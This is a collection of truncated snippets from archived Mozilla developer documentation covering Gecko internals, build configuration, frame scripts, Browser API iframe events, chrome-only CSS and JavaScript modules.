to the liveregions and gecko python modules in orca for a real world example. for more information about live regions, please read the aria properties spec or the live region report to learn about aria live region markup and the live region api support document for the latest firefox api with regards to live regions. as always, we're open to questions and suggestions for changes in community forums. priority queue the heart of any live region support module is the priority queue. it is responsible for queuing messages derived from live region events, where priority is determined by chronological order and the live politeness properties. in addition to the standard priority queue methods, additional methods will need to be implemented that purge the queue based on one of the priority cr...
Information for Assistive Technology Vendors
atures in mozilla & call for testers! mozilla now has enough accessibility support that we're reading for early adopters and testers to start giving it a try. please read this page if you're interested in an alternative accessible browser. keyboard documentation this lists mozilla's keyboard docs in a single long document. gecko info for windows accessibility vendors mozilla supports msaa (microsoft active accessibility) in html and in our user interface (based on xul technology). this makes it possible for the vendors of windows accessibility software, such as screen readers, voice dictation packages and screen magnifiers to provide support for mozilla. in addition, we provide some simple interfaces via which we expose a read-only dom (document object model). mozilla support...
Accessibility and Mozilla
e are some useful links for those interested in web accessibility as well as open source accessibility.mozilla accessibility architecturethis page is maintained by aaron leventhal and by the mozilla accessibility community. feedback and constructive suggestions are encouraged.mozilla plugin accessibilityplugins in gecko-based browsers have a lot of accessibility issues. here is a rundown of problems and the planned solutions:mozilla's section 508 compliancemozilla’s uaag evaluation reportthe uaag document contains a very rich set of accessibility guidelines, that broadly define how accessibility should be implemented by any user agent, i.e. software that renders web content. the uaag is not the basis for any government accessibility regulations at this time.multiprocess on windowsa high-le...
Lightweight themes
ors — you can choose the tab ("background") color and foreground text color that work best with your header image. submit your theme — if everything looks right, click the submit theme button and you're done! you can see all the themes you've authored on your profile page. tip: to ensure that your theme is approved for the gallery, be sure it complies with the content guidelines and terms of service! submit your theme now frequently asked questions for more information about lightweight themes, including content guidelines, please see these frequently asked questions. more tutorials mozilla themes focal point on sizing - a tutorial on theming with a focus on sizing, by vanillaorchids. ...
Theme concepts
themes developed using the webextensions api in firefox enable you to change the look of the browser by adding images to the header area of the firefox browser; this is the area behind the menu bar, toolbars, address bar, search bar, and tab strip. these theme options can be implemented as static themes (although the theme images themselves may be animated) or as dynamic themes created in a browser extension. if you have a lightweight theme it will be converted to this new theme format automatically before lightweight themes are deprecated. you do not need to port your theme. however, please feel free to update your themes to use any of the new features described here. static themes static themes are specified using the same resources as a browser extension: a manifest.json file to de...
Android-specific test suites
dbugs detects issues with. however, the existing configuration can be tweaked and the set of files checked can be modified. contact information android-checkstyle is currently owned by :mcomella and :nalexander. file tickets in the firefox for android product in bugzilla. android-lint ensure that the code avoids common android coding errors. lint is a code scanning tool that identifies problems in the code regarding quality. it is a fast process that can be run on unexecuted code, and test cases are not needed for the process to be completed. lint is a simple test that can assure you have a quality code. see https://developer.android.com/studio/write/lint.html and http://tools.android.com/tips/lint for more details. running android-lint to run android-lint, first build firefox for an...
A bird's-eye view of the Mozilla framework
author: susan d. tiner last updated date: 11/23/05 statement of purpose the purpose of this article is to provide a high-level technical overview of the architecture of the extensible, object-based mozilla application framework. it examines what happens when the user performs a simple user interface (ui) action such as clicking a link in the contents panel of the help viewer window shown below. the article focuses on the architecture of the overall framework supporting the mozilla application suite, not the architecture of the individual applications themselves. prerequisites this article assumes you have access to mozilla sources and are familiar with the directory structure of the source tree. the code samples in the article are based on mozilla/5.0 (windows; u; window...
Testopia
difications to the testopia source code, you will need to merge them into the new testopia folder (capital t). if you are on windows or another case insensitive file system you should first rename the folder (testopia-old for example) and then unzip the tarball. you can then merge your changes before deleting the old version. api users take note: positional parameters are now deprecated. all params should now be sent in a hash (struct, dict, hashmap or whatever your language of choice calls key, value pairs). though all attempts have been made to provide continuing support for positional parameters, please be aware that some api calls may fail until you make this change. also, future versions may remove this support completely. as always please backup your installation before attempting to...
Creating JavaScript callbacks in components
erverservice. javascript functions as callbacks another common use of the pattern is found in addeventlistener / removeeventlistener. a nice feature of addeventlistener is that you can pass a javascript function in place of the callback listener interface. ...
Capturing a minidump
ll need here. download it from install debugging tools for windows. (you'll want the 32-bit version of windbg only if you are using a 32-bit version of firefox) then install it, the standard settings in the installation process are fine. capture a minidump connect firefox to the debugger. if firefox is not already running, then open windbg from the start menu (start->all programs->debugging tools for windows->windbg). next, open the "file" menu and choose "open executable...". in the file chooser window that appears, open the firefox.exe executable in your firefox program folder (c:\program files\mozilla firefox). if firefox is already running, open windbg from the start menu (start->all programs->debugging tools for windows->windbg). next, open the "file" m...
Debugging Internet Explorer
use jrmuizel's script to get started. ...
Debugging JavaScript
efore firefox 28, only the script debugger was available.) the use of these tools are the same as the built-in tools. strict code checking if you set the pref javascript.options.strict to true, the javascript engine gives you more types of warnings on the error console, most of which hint at code bugs that are easy to oversee or even bad syntax. (the pref also warns on common javascript idioms that are not errors). console.log in browser console you can dump variables in the browser console from addon code, by adding this line to import the console utility: const { console } = components.utils.import("resource://gre/modules/devtools/console.jsm", {}); this has an advantage over dump in that you can list out properties of an object logged with console.log. dump() the dump() functi...
Building Firefox with Debug Symbols
this is enabled by default so unless you have explcitly disabled it your build you should include symbols. ...
Configuring Build Options
you find yourself changing the same options regularly, it may be worth having a separate mozconfig for each. the main downside of this is that each objdir will take up a significant amount of space on disk. parallel compilation note: the build system automatically makes an intelligent guess for how many cpu cores to use when building. the option below is typically not needed. most modern systems have multiple cores or cpus, and they can be optionally used concurrently to make the build faster. the -j flag controls how many parallel builds will run concurrently. you will see (diminishing) returns up to a value approximately 1.5× to 2.0× the number of cores on your system. mk_add_options moz_make_flags="-j4" if your machine is overheating, you might want to try a lower value, e.g. -j1...
Gmake vs. Pymake
if you try to switch from gmake to pymake or pymake to gmake the build will fail unless you did a relative configure. ...
Makefiles - Best practices and suggestions
athering. platform specific - avoid this logic whenever possible. code as little platform specific logic within a makefile as possible, a conditional and compiler flags at most should be needed. for ex use defines within sources to shift platform logic into your source code. if a unit test is platform specific write your makefile so it can be used on all platforms but only do work on the specific hardware or class of hardware. for classes of hardware (unix/windows) place your makefile in a subdirectory, unix/makefile.in always include dependencies when creating a target initial make call should always be the workhorse: build, generate, deploy, install, etc. all subsequent make calls must become a nop unl...
Windows SDK versions
of "%systemroot%". older sdks these are no longer supported, further information is available at obsolete build caveats and tips [en-us] under the windows sdk article. troubleshooting help! i know i have the correct sdk, but configure.in's still failing! try the following things in order: run the windows sdk configuration tool (if available) and make sure the right sdk is selected. restart the msys console. delete your entire object directory and start over. ...
ESLint
f rules below. no-undef the no-undef rule is currently being enabled throughout the code base. here are some common issues: my script is imported into the global browser.xul scope. add a line like: /* eslint-env mozilla/browser-window */ or enable the rule in a .eslintrc.js if it will apply to the whole directory. ...
Interface development guide
g and changing xpcom interfaces. if you're going to be changing an interface, be sure to read these first! commenting idl for better documentation a guide explaining how to properly comment your interface's idl in order to ensure that not only can others understand your interface, but to ensure that the documentation here on mdc is as accurate as possible. community view mozilla embedding forums... mailing list newsgroup rss feed related topics javascript, xpcom, developing mozilla ...
Contributing to the Mozilla code base
ur very first bug, and the open web is stronger for it. but don't stop now. go back to step 1, as there is plenty more to do. your mentor might suggest a new bug for you to work on, or find one that interests you. now that you've got your first bug fixed you should request level 1 access to the repository to push to the try server and get automated feedback about your changes on multiple platforms. after fixing a nontrivial number of bugs you should request level 3 access so you can land your own code after it has been reviewed. more information we're in the process of improving information on this page for newcomers to the project. we'll be integrating some information from these pages soon, but until then you may find them interesting in their current form: a guide to learning the m...
Working with Mozilla source code
elines and documentation for how to create and update xpcom interfaces. the firefox codebase: css guidelines this document contains guidelines defining how css inside the firefox codebase should be written, it is notably relevant for firefox front-end engineers. svg cleanup guide guidelines and best practices for shipping new svgs. try servers mozilla products build on at least three platforms. if you don't have access to them all, you can use the try servers to test your patches and make sure the tests pass. creating a patch once you've made a change to the mozilla code, the next step (after making sure it works) is to create a patch and submit it for review. this article needs to be updated fully for mercurial. getting commit access to the source code feel ready to join the few, ...
Developer guide
ssfully). check this before checking in and out, to be sure you're working with a working tree. perfherder perfherder is used to aggregate the results of automated performance tests against the tree. crash tracking information about the socorro crash reporting system. callgraph a tool to help perform static analysis of the mozilla code by generating callgraphs automatically. developer forums a topic-specific list of discussion forums and mailing lists where you can talk about mozilla development issues. mozilla platform development cheat sheet (archive.org) brian bondy's list of frequently referenced information for platform developers. brian bondy took down codefirefox.com, but the archived cheatsheet might still be useful. firefox development video tutorials brian bondy's vide...
Index
you can find details about profiles on mozilla's end-user support site. 168 performance best practices for firefox front-end engineers best practices, developing firefox, developing mozilla, firefox, front-end, mozilla, performance this guide will help firefox developers working on front-end code produce code which is as performant as possible—not just on its own, but in terms of its impact on other parts of firefox. always keep in mind the side effects your changes may have, from blocking other tasks to interfering with other user interface elements. 169 privacy privacy, security this document lists privacy-related documentation. 170 storage access policy: block cookies from trackers privacy, storage access policy, tracking protecti...
Frame script environment
ns you don't have to worry about global variables you define conflicting with global variables defined by another frame script. you can still access the global directly via this. frame scripts run with system principals. if you want other principals, you can use a sandbox. frame scripts run with system privileges and have access to the components object, enabling them to use xpcom objects and jsms. however, some apis that work in the chrome process will not work in a frame script. see limitations of frame scripts for more details. events besides the regular dom events being captured/bubbling up from content the current content object the following additional events get fired in a frame script environment: unload fires when the frame script environment is shut down, i.e...
Communicating with frame scripts
.length); we can listen for message-manager-disconnect to update the array when the message managers disconnect (for example because the user closed the tab): function myobserver() { } myobserver.prototype = { observe: function(subject, topic, data) { var index = messagemanagers.indexof(subject); if (index != -1) { console.log("one of our message managers disconnected"); mms.splice(index, 1); } }, register: function() { var observerservice = cc["@mozilla.org/observer-service;1"] .getservice(ci.nsiobserverservice); observerservice.addobserver(this, "message-manager-disconnect", false); console.log("listening"); }, unregister: function() { var observerservice = cc["@mozilla.org/observer-service;1"] ...
Frame script environment
define conflicting with global variables defined by another frame script. you can still access the global directly using this. frame scripts run with system principals. if you want other principals or when interacting with untrusted page scripts, you should use a sandbox. frame scripts run with system privileges and have access to the components object, enabling them to use xpcom objects and jsms. however, some apis that work in the chrome process do not work in a frame script. see limitations of frame scripts for more details. events besides the regular dom events being captured/bubbling up from content the current content object the following additional events get fired in a frame script environment: unload bubbles no fires when the frame script ...
Process scripts
ocessscript() function. the following code uses the global parent process message manager, which will load the script into the the chrome process and any child processes: // chrome code let ppmm = cc["@mozilla.org/parentprocessmessagemanager;1"] .getservice(ci.nsiprocessscriptloader); ppmm.loadprocessscript("chrome://whatever/process-script.js", true); ppmm.addmessagelistener("hello", function(msg) { ... }); the process script's global is a child process message manager, which enables the process script to receive messages from the chrome side, and to send messages to the chrome side: // process-script.js if (services.appinfo.processtype == services.appinfo.process_type_content) { dump("welcome to the process script in a content process"); } else { dump("welcome to the process scrip...
Message manager overview
each child process, there's a single child process message manager (cpmm). for each child process message manager, there's a parent process message manager (ppmm) in the parent process. there's also a single global parent process message manager (gppmm) in the parent process, that provides access to all the parent process message managers: with the gppmm, you can broadcast messages to all cpmms. with a ppmm, you can send a message to its corresponding cpmm. with a cpmm, you can send messages to the parent process: these messages are received first by the corresponding ppmm, then by the gppmm. from firefox 38 onwards, you can also use a parent process message manager to load a script into a child process. this is the recommended way to load a script that executes just once per child pro...
Security best practices for Firefox front-end engineers
sanitizing all strings that enter the dom through apis such as innerhtml when running system-privileged chrome code, we sanitize all html fragments that are created for chrome-privileged documents. this policy includes all dom apis that take a string and parse it into a dom tree. we use our built-in sanitizer with the following flags: sanitizerallowstyle sanitizerallowcomments sanitizerdropforms sanitizerlogremovals the sanitizer removes all scripts (script tags, event handlers) and form elements (form, input, keygen, option, optgroup, select, button, datalist). the canonical truth for the list of whitelisted elements is the source code. the last flag ensures that developers will identify and avoid the problems early on in the development cycle and before shipping the code. linter r...
Site Identity Button
t icons. if the site identity button on your site shows something you do not expect (for example, an orange warning triangle when you expect a green padlock) you can find out the cause of the problem by looking in the web console in the firefox developer tools: ensure your web console is displaying messages in the 'security' category force-refresh the page on your site that is causing problems watch for any security messages that may appear a downgraded security ui will be due to one of these three problems: mixed content - while your page has been served over tls, but subresources loaded for your page have not. in this case, expect to see a 'mixed content' message in the web console. use of a weak cipher - in this case, you're using tls but a strong cipher was not available. l...
Using the Browser API
Mozilla › Gecko › Chrome › API › Browser API › Using
to implementing browser search using the browser api. tap the "s" button and try it out. try searching for "firefox" on the default page when the app first loads. so how do we do this? first, we declare a searchactive variable as false, which influences behaviour later on. then, we disable the "previous" and "next" search item buttons so that they don't run anything unless there are search items to cycle between. var searchactive = false; prev.disabled = true; next.disabled = true; next, we add an event listener to the searchform so that when it is submitted, the htmliframeelement.findall() method is used to do a search for the string entered into the search input element (searchbar) within the text of the current page (the second parameter can be changed to 'case-insensitive' if you w...
HTMLIFrameElement.executeScript()
onally, you can provide an origin or url for the script to be executed against. it's recommended that you include an origin or url, in order to ensure that the script is being executed in the expected context: origin: an origin, e.g. http://example.com url: a url, e.g. http://example.com/index.html note: the options parameter does not currently seem to have much effect. the script seems to execute even if a url/origin is specified. examples var request1 = browser.executescript( var a = 3; a + 3 , {url: 'http://example.com/index.html'}); request1.onsuccess = function() { console.log(request1.result); // 6 } var request2 = browser.executescript( new promise((resolve, reject) => { settimeout(function() { resolve(6); }, 1000}) ) , {origin: 'http://exampl...
HTMLIFrameElement.getScreenshot()
moved in firefox 65. the getscreenshot() method of the htmliframeelement lets you request a screenshot of a content <iframe>, scaled to fit within a specified maximum width and height. the image will be cropped if necessary but will not be distorted vertically or horizontally. note: getscreenshot() waits for the event loop to go idle before it takes the screenshot. it won't wait more than 2000ms (this delay is defined by the gecko dom.browserelement.maxscreenshotdelayms preference). syntax var instanceofdomrequest = instanceofhtmliframeelement.getscreenshot(maxwidth, maxheight, mimetype); returns a domrequest for handling the screenshot request. its request.onsuccess handler handles the success case (the screenshot is contained in request.result as a blob object), and its request.on...
HTMLIFrameElement.getStructuredData()
specification not part of any specification. ...
mozbrowseractivitydone
refox os 2.5. postresult and posterror calls made on such an activity will be ignored and have no effect. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: success a boolean that indicates...
mozbrowserasyncscroll
ture. the mozbrowserasyncscroll event is fired when the content of a browser <iframe> is scrolled. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: top the scroll top position in c...
mozbrowseraudioplaybackchange
mozbrowseraudioplaybackchange event is fired when audio starts or stops playing within a browser <iframe>. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only boolean indicates whether audio is playing in the browser. examples var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowseraudiop...
mozbrowserclose
hen the content of a browser <iframe> calls the window.close() method. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserclose", function() { console.log("browser window has been closed; iframe will be destroyed."); });...
mozbrowserdocumentfirstpaint
fired when a new paint occurs on any document in the browser <iframe>. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserdocumentfirstpaint", function() { console.log("first content painted."); }); related events mo...
mozbrowserfirstpaint
first time (this doesn't include the initial paint from about:blank). general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserfirstpaint", function(event) { console.log("first content painted."); }); related events mozbr...
mozbrowserloadstart
r, or update the ui in some other way to indicate loading has started. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. example in this example the mozbrowserloadend and mozbrowserloadstart events are used to change the icon shown on the stop/reload button between stop (x) and reload (r), as appropriate. var br...
mozbrowsermanifestchange
by this, we are referring to the href of the manifest, as defined in <link rel="manifest" href=" … ">. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: href the url of the new app mani...
mozbrowseropentab
a result of the user issuing a command to open a link target in a new tab (for example ctrl/cmd + click.) general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: url a domstring representing the...
mozbrowserresize
ture. the mozbrowserresize event is fired when a browser <iframe> viewport is resized in some way. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: width a number representing the ...
mozbrowserscroll
ange in the future. the mozbrowserscroll event is fired when the browser <iframe> content scrolls. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: top a number representing the ne...
mozbrowserscrollareachanged
ser <iframe> changes. this can occur on resize and when the page size changes (while loading for example.) general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: width a number representing the ...
mozbrowserselectionstatechanged
note that this is deprecated, and current implementations should use mozbrowsercaretstatechanged instead. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: rect an object that represents t...
mozbrowsertitlechange
e event is fired when the title of a browser <iframe> (i.e. the contents of the <title> element) changes. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. detail read only string the title of the document. example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsertitlechange", function( event ) {...
mozbrowservisibilitychange
isibility state of the current browser iframe <iframe> changes, for example due to a call to setvisible(). general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: visible a boolean that indicates...
Chrome-only API reference
Mozilla › Gecko › Chrome › API
note: most of the apis exposed to the web in general are also usable in chrome code: see web apis for a list of these. browser apithe html browser api is an extension of the html <iframe> element that allows web apps to implement browsers or browser-like applications. it currently works in (privileged) chrome code on firefox desktop (version 47 and above).chromeworkerif you're developing privileged code, and would like to create a worker that can use js-ctypes to perform calls to native code, you can do so by using chromeworker instead of the standard worker object. ...
-moz-window-dragging
initial value drag applies to all elements that create native windows, e.g. ...
overflow-clip-box-block
lue="abcdefghijklmnopqrstuvwxyzÅÄÖ" class="scroll padding-box"> <div class="scroll padding-box"><span>abcdefghijklmnopqrstuvwxyzÅÄÖ</span></div> </div> css .scroll { overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black; background: lime content-box; } .padding-box { overflow-clip-box-block: padding-box; } javascript function scrollsomeelements() { var elms = document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this property has been proposed to the w3c csswg; it is not yet on the standard track but, if accepted, should appear in css overflow module level 3. ...
overflow-clip-box-inline
ue="abcdefghijklmnopqrstuvwxyzÅÄÖ" class="scroll padding-box"> <div class="scroll padding-box"><span>abcdefghijklmnopqrstuvwxyzÅÄÖ</span></div> </div> css .scroll { overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black; background: lime content-box; } .padding-box { overflow-clip-box-inline: padding-box; } javascript function scrollsomeelements() { var elms = document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this property has been proposed to the w3c csswg; it is not yet on the standard track but, if accepted, should appear in css overflow module level 3. ...
overflow-clip-box
"> <input value="abcdefghijklmnopqrstuvwxyzÅÄÖ" class="scroll padding-box"> <div class="scroll padding-box"><span>abcdefghijklmnopqrstuvwxyzÅÄÖ</span></div> </div> css .scroll { overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black; background: lime content-box; } .padding-box { overflow-clip-box: padding-box; } js function scrollsomeelements() { var elms = document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this property has been proposed to the w3c csswg; it is not yet on the standard track but, if accepted, should appear in css overflow module level 3. ...
Chrome-only CSS reference
Mozilla › Gecko › Chrome › CSS
ua stylesheets.) note: most of the css properties exposed to the web in general are also usable in chrome stylesheets: see the css documentation for a list of these. -moz-window-draggingthe -moz-window-dragging css property specifies whether a window is draggable or not. ...
MozBeforePaint
e is sampled; this is relevant when trying to synchronize mozrequestanimationframe animations with smil animations or css transitions. this allows multiple animations to remain in sync with one another within the context of a given window. frame rate control mozbeforepaint won't fire more than a fixed number of times per second, e.g. 50 or 60. this is intentional, because modern operating systems and hardware won't let the browser display more frames than that anyway. limiting the frame rate avoids wasting work, thereby saving cpu usage and power and improving overall system performance. example this example performs a simple animation, moving a box a short distance after a short period of time. <!doctype html> <html> <body> <div id="d" style="width:100px; height:100px; background:lime...
MozScrolledAreaChanged
change. specification mozilla specific interface uievent bubbles yes cancelable yes target defaultview, document default action none properties property type description targetread only eventtarget the event target (the topmost target in the dom tree). typeread only domstring the type of event. bubblesread only boolean whether the event normally bubbles or not. cancelableread only boolean whether the event is cancellable or not. viewread only windowproxy document.defaultview (window of the document) detailread only long (float) 0. widthread only long (int) the width of the visible ...
smartcard-insert
bubblesread only boolean whether the event normally bubbles or not. cancelableread only boolean whether the event is cancellable or not. example document.addeventlistener("smartcard-insert", smartcardchangehandler ); related events smartcard-remove ...
smartcard-remove
rt card has been detected. specification mozilla specific interface event bubbles no cancelable no target document default action none properties property type description targetread only eventtarget the event target (the topmost target in the dom tree). typeread only domstring the type of event. bubblesread only boolean whether the event normally bubbles or not. cancelableread only boolean whether the event is cancellable or not. example document.addeventlistener("smartcard-remove", smartcardchangehandler ); related events smartcard-insert ...
Chrome-only Events reference
ua widgets). mozbeforepaintgecko 2.0 adds a new method for performing javascript controlled animations that synchronize not only with one another, but also with css transitions and smil animations being performed within the same window.mozscrolledareachangedthe mozscrolledareachanged event is fired when the document view has been scrolled or resized. ...
Gecko Chrome
this page contains information specific to chrome code running in gecko. chrome-only api referencethis page lists apis that only run in gecko chrome code (and sometimes in other privileged circumstances.)chrome-only css referencethis page lists css properties that are only available in gecko chrome code (and sometimes in other privileged circumstances, eg. ua stylesheets.) chrome-only events referencethis page lists events that are only available in gecko chrome code (and sometimes in other privileged circumstances, eg. ua widgets). ...
Gecko SDK
note: you can subscribe to a calendar of the firefox release schedule. also, you can view the schedule on the web. unpack the sdk tarball to some suitable location. issues with the os x sdk if you need to use the xpidl utility to compile idl files on os x, it's likely that you will receive a strange error when running the tool th...
Gecko
using gecko in your own application. character sets supported by gecko a list of the character sets supported by gecko. ...
Gecko's "Almost Standards" Mode
triggering "almost standards" the doctypes that will trigger "almost standards" mode are those which contain: the public identifier "-//w3c//dtd xhtml 1.0 transitional//en" the public identifier "-//w3c//dtd xhtml 1.0 frameset//en" the public identifier "-//w3c//dtd html 4.01 transitional//en", with a system identifier the public identifier "-//w3c//dtd html...
Getting from Content to Layout
ent chain does) are also stored. the restyles accumulated in the restyletracker are dispensed with from various method on the presshell that involve reflow and flushing notifications. frame construction regardless of whether content nodes are inserted/appended/deleted, frames can be created and destroyed, based on whatever is optimal for the changes in the content tree. "frame construction items" are queued for each change. these items are then examined in relation to the location in the content tree that is being modified and either the relevant frames are created/destroyed or the logic moves up to the parent frame. to give a trivial example of when this might be necessary, consider: "<span>foo <div></div> bar</span>". separate frames are created for the pre and post-div parts of the...
How to get a process dump with Windows Task Manager
nue with the steps below. ...
IPDL Best Practices
ssons learned from the http channel and geolocation protocols): allocpprotocol calls addref deallocpprotocol calls release this ensures that the actor will not disappear from under ipdl, and that you won't get bizarre crashes at other times if ipdl deletes the protocol tree. the main concern you have now is that you absolutely, certainly, positively call send__delete__ in all possible circumstances or your protocol can and will leak. calling ipdl functions willy-nilly let's say you have an object that implements an ipdl interface, but it also outlives it (case in point: reference-counted). is there any chance that an ipdl function could be called after the protocol itself has been destroyed, or before it has been created? don't let it happen - that is a guaranteed crash right there.
Implementing QueryInterface
gregated objects, which may then return wrong interfaces. one more reason to avoid aggregation specifically, and complicated hierarchies in general. the ns_get_iid macro you can use the ns_get_iid macro instead of typing out the full getiid expression. in general, i disapprove of macros except in cases where the macro must expand to different text in different situations, e.g., different platforms, debugging vs. non-debugging, et al. in such cases macros are indispensible. in other cases macros may help some people but often cloud the issues for others. they always make the program source more fragile. in this case the macro is for convenience only, so i don't recommend it, but i do offer it up as an alternative. // ... if ( aiid.equals(ns_get_iid(nsix)) ) foundinterface =...
Introduction to Layout in Mozilla
resentation owns the frame hierarchy frames own the style contexts, views, widgets presentation has media type, dimensions, etc. ...
AddonListener
addonlisteners can be registered with addaddonlistener() and will then receive notification of changes to the add-ons currently installed. these notifications come in the form of calls to methods on the listener object. a listener only needs to implement the methods corresponding to the events it cares about; missing methods will not cause any problems. method overview void onenabling(in addon addon, in boolean needsrestart) void onenabled(in addon addon) void ondisabling(in addon addon, in boolean needsrestart) void ondisabled(in addon addon) void oninstalling(in addon addon, in boolean needsrestart) void oninstalled(in addon addon) void onuninstalling(in addon addon, in boolean needsrestart) void onuninstalled(in ad...
DownloadList
ilterfn); methods getall() retrieves a snapshot of the downloads that are currently in the list. the returned array does not change when downloads are added or removed, though the download objects it contains are still updated in real time. promise<array<download>> getall(); parameters none. promise resolves to an array of download objects. add() adds a new download to the end of the items list. note: when a download is added to the list, its onchange event is registered by the list, thus it cannot be used to monitor the download. to receive change notifications for downloads that are added to the list, use the addview() method to register for ondownloadchanged notifications. promise add( download adownload ); parameters adownload the download object to add. p...
Log.jsm
info 40 numbers { "all": 0, "trace": 10, "debug": 20, "config": 30, "info": 40, "warn": 50, "error": 60, "fatal": 70 } trace 10 warn 50 repository loggerrepository logger methods void fatal(string text, [optional] object params); void error(string text, [optional] object params); void warn(string text, [optional] object params); void info(string text, [optional] object params); void config(string text, [optional] object params); void debug(string text, [optional] object params); void trace(string text, [optional] object params); ...
NetUtil.jsm
l] aorigincharset, [optional] nsiuri abaseuri) nsiuri newuri(atarget, [optional] aorigincharset, [optional] nsiuri abaseuri) string readinputstreamtostring(ainputstream, acount, aoptions) attributes attribute type description ioservice nsiioservice returns a reference to nsiioservice. methods asynccopy() the asynccopy() method performs a simple asynchronous copy of data from a source input stream to a destination output stream. both streams are automatically closed when the copy operation is completed. nsiasyncstreamcopier asynccopy( asource, asink, acallback ); parameters asource the input stream from which to read the source data. this must be an nsiinputstream based object. asink the output stream to which to ...
PerfMeasurement.jsm
rt it into your scope: components.utils.import("resource://gre/modules/perfmeasurement.jsm") see measuring performance using the perfmeasurement.jsm code module for details on how to use this api. note: at present, perfmeasurement.jsm is only functional on linux, but it is planned to add support for windows (bug 583322) and osx (bug 583323) as well, and we welcome patches for other operating systems. method overview static bool canmeasuresomething(); void reset(); void start(); void stop(); member fields recorded data variables these variables provide access to the recorded data. any measurable event that was not being recorded has a value of -1 (that is, 0xffffffffffffffff). note: these values are all zeroed (or set to -1, for events not being measured) when you initialize th...
Task.jsm
called, and the yield operator works on the returned promise. this reduces the syntax overhead of calling task.spawn() explicitly when you want to recurse into other task functions. if you specify a function that is not a generator, it is called with no arguments, and the yield operator returns the return value of the function. this comes in handy when iterating over function lists where some items have been converted to tasks and some not. if you specify anything else, the yield operator returns exactly what you specified. method overview function async(atask); promise spawn(atask); properties attribute type description result read only constructor constructs a special exception that, when thrown inside a legacy generator functi...
Timer.jsm
